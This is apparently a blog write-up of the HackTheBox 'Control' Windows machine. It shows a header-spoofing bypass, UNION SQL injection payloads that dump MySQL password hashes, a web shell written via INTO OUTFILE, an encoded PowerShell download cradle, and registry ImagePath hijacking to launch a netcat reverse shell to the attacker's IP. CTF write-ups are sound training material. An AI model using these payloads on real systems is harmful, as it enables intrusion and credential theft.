HacktheBox — Control. This is a writeup on how I solved…
Tags: Powershell, Sql, Hacking, Ctf, Windows

TL;DR:

Control is a Windows machine that allows you to play with basic SQL Injection and a little of PowerShell. It’s a fun box to teach you Windows concepts without having an SMB service running. It starts of with an admin page accessible by using the X-Forwarder-For Header. Access to the page allows for SQLi which gives you initial access. The root part is basically insecure ACL which allows you to edit the ImagePath of a service to spawn a malicious process.

Scanning:

As usual, I run my initial nmap scan:

# nmap -sV -sC -oA nmap/initial -vvv -n 10.10.10.167

The results are:

Open ports are 80 running IIS 10.0, 135 running RPC, and 3306 running MySQL. This is quite different as I am expecting MSSQL running on the box, not MySQL as this is a Windows machine. It also mentions that my IP (10.10.14.7) is not allowed to connect to this MariaDB server.

I also ran a TCP all ports scan:

# nmap -p- -oA nmap/allports-tcp 10.10.10.167 -vvv -n

The results are:

Nothing interesting. The new ports discovered are usually ports used by Windows RPC and NBT-NS, if I remember correctly, so nothing exploitable there.

Port 80

Visiting port 80:

Checking About:

Checking Admin:

I also ran Gobuster:



ut -x php gobuster dir -u http://10.10.10.167 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobust[200/200]ut -x php

The output is:

It is noticeable that there is a shell.php file, which I’m not sure if it’s part of the box or someone is solving this also while I’m solving this (I found out the answer after).

Viewing the source of index.php:

It mentions a To Do list. The important thing here is it mentions that certificates are located at the share “myfiles” from the IP 192.168.4.28. Knowing that there was a message that a Header is missing and to use the proxy, I initially thought of that it requires me to access the admin.php page with a header containing that IP.

X-Forwarded For:

To satisfy our requirements, we can use the X-Forwarded For header. From https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-For:

So if we include in our headers “X-Forwarded For: 192.168.4.28”, the Control machine will think that the request is from that IP, and was just passing through us. My machine acting like a proxy here. Using it results to a different admin page:

I am now able to access the admin page:

Now knowing that this contains a search function for the products, I tested if its vulnerable to SQL injection(SQLi):

The results leads to a syntax error, which also leaks that a MariaDB server is running:

Knowing that this is vulnerable to SQLi, I tested various payloads to identify the query that is running behind. I tried UNION injections first:

1' UNION SELECT 1,2,3; -- -

In these cases, you just have to enumerate how many columns are being used in the query, as the UNION operator requires that both sides have the same columns. After guessing, the response is different if I select 6 columns:

1' UNION SELECT 1,2,3,4,5,6; -- -

Knowing that I guessed the correct number of columns, I can then use SQL queries in replace of the number of columns.

1' UNION SELECT 1,2,3, version(),5,6; -- -

It now leaks the database version rather than the number “4”:

I can also check the current user in our context:

1' UNION SELECT 1,2,3, user(),5,6; -- -

Checking the current database:

1' UNION SELECT 1,2,3, database(),5,6; -- -

It is good that before you dump the database, you try to map which user you are and what database you are in. I know list the available databases:

1' UNION SELECT 1,2,3,group_concat(schema_name),5,6 from information_schema.schemata; -- -

Knowing that there are no other interesting databases, I try to get the columns under the table ‘user’

1' UNION SELECT 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_name='user'; -- -

I then now retrieve the columns user and passwords from the DB mysql, table user.

1' UNION SELECT 1,user,password,4,5,6 from mysql.user; -- -

Knowing that I have usernames and hashes, I can try to crack them using Hashcat. By checking the length of the hashes, it seems that they are 40 characters, so most likely they are SHA-1 hashes or some form of MySQL hashes.

I then checked for the corresponding modes for SHA1, and tried cracking it using SHA1, but it wouldn’t crack. I then looked for hashes for MySQL:

Seems like mode 300 satisfies our character length, trying to crack it:

.\hashcat64.exe -m 300 control-hashes.txt rockyou.txt

It was able to crack one of the hashes:

I also sent the hashes to Crackstation, which is an online password hash cracker. Only use online platforms for cracking passwords when you are doing it for CTFs, not on actual engagements! I am doing this because this is just a CTF.

2/3 passwords were cracked for the users manager and hector.

Foothold:

I then tried to connect to the MariaDB port, but my IP is not allowed, as seen from the initial nmap scan also.

Next thing to do is to try to get a shell using SQL injection. Since this is an IIS server, the default location of the web root is C:\inetpub\wwwroot. Knowing that from my Gobuster scan that there is an uploads directory, I can guess that the uploads dir is at C:\inetpub\wwwroot\uploads. I then try to write a file using the INTO OUTFILE to write files on disk. Knowing also that the web server runs using PHP, I use a simple web shell with the system function.

1' UNION SELECT 1,2,3,4,5,'<?php system($_GET["cmd"]); ?>' into outfile 'c:/inetpub/wwwroot/uploads/sifo.php' ; -- -

Now when I visit the page, I can verify that the file is uploaded on the /uploads dir:

I can now run commands using the “cmd” paramter:

I can now send this to Burp so I can use longer commands. I then use a Powershell reverse shell from Nishang, the Invoke-PowerShellTcp.ps1 script: https://github.com/samratashok/nishang

I converted the famous cradle download of IEX to UTF16-le as if I remember correctly Powershell has a different encoding with Bash, and encoded it to base64 to avoid any issues in sending it over the wire, then running it using the flag -EncodedCommand of Powershell.

PS C:\ echo -n "IEX(new-object net.webclient).downloadString(' http://10.10.14.7/a.ps1' )" | iconv -t utf-16le |base64 -w 0

Sending it to Burp:

The raw script from above is this:

powershell.exe -exec bypass -enc "SQBFAFgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdAB"

I don’t get any hits from this from my python HTTP server. I try sending the cradle in its simplest form:

I get hits, but no connection to my listener. I then tried to use wget on the box to download a netcat binary:

Knowing that netcat was downloaded, I checked the directory if it was saved.

I know get a shell:

Privesc to User:

I got interested how the X-Forwarded-For bypass worked, so I checked the admin.php file:

I then checked for listening ports, and found port 5985 which is used for WinRM. It’s listening on 0.0.0.0 but my initial scans did not find it. Scanning it also mentions that it’s filtered.

Knowing that I have credentials, I tried it also on RPC but it did not work. Since WinRM is listening, I can try to connect to it using the credentials. WinRM is like SSH but works quite differently. I first spawn a PowerShell process with bypass policy “Execution”, and create a secure string as WinRM only allows authentication if it’s a secure string.

I also create a PS Credential object(requires you to indicate the computername\user, and secure string):

Then I create a session using the credential object:

Finally, I can invoke a command on the session, and I get my shell as Hector:

I can now read user.txt:

Privesc from Hector to System32:

I tried gettting a shell using PowerShell, as I am wonrdering why I wasn’t able to get a connection earlier, it seems that it is blocked by AV:

I then tried to run PowerUp from PowerSploit:

Nothing of interest that can get me to another user. I got stuck on this part, and someone nudged me that I look into PowerShell history files. Checking the history file:

I see that there are 2 commands that were invoked(the type $env string is just an echo back of my command). After Googling, I can also check where the history file is located using the command below:

You can check out this blog also from 0xdf, which provides a good overview of PowerShell History File.

The first command just performs a listing of the path HKLM:\SYSTEM\CurrentControlSet, and piping it to Format-List. The second command checks the ACL for that same path. Running the second command:

It shows that Control\Hector has “Full Control “. This means that the user Hector can change the values of the registry of the services in the system. Services usually have an “Image Path”, which is a value entry that specifies the fully qualified path of the driver’s image file. The point here now is to be able to spawn a malicious process by changing the value of ImagePath of the service.The issue here is the service needs to be restarted. I first store the output of the service listing on a variable $service, which is a long list(truncated):

The problem here is to identify which service I can restart. I started from the bottom of the list and moved upwards. I ended up with using the service wuauserv, which is a service used for Windows Update. I also thought of creating a script that will bruteforce which service I can restart, but that’s realistic.

I can then change the ImagePath value to a netcat connection:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuauserv" /t REG_EXPAND_SZ /v ImagePath /d "C:\Users\hector\music

c.exe 10.10.14.7 9005 -e cmd.exe " /f

I then start the service using sc.exe:

sc.exe \\fidelity start wuauserv

And now I get a shell! In methods that requires you to hijack a process or an ImagePath of a service, always get another shell after you get a connection, as usually they are unstable.

I can now read root.txt:

And that’s how I solved Control from HacktheBox! Thanks for reading! 🍺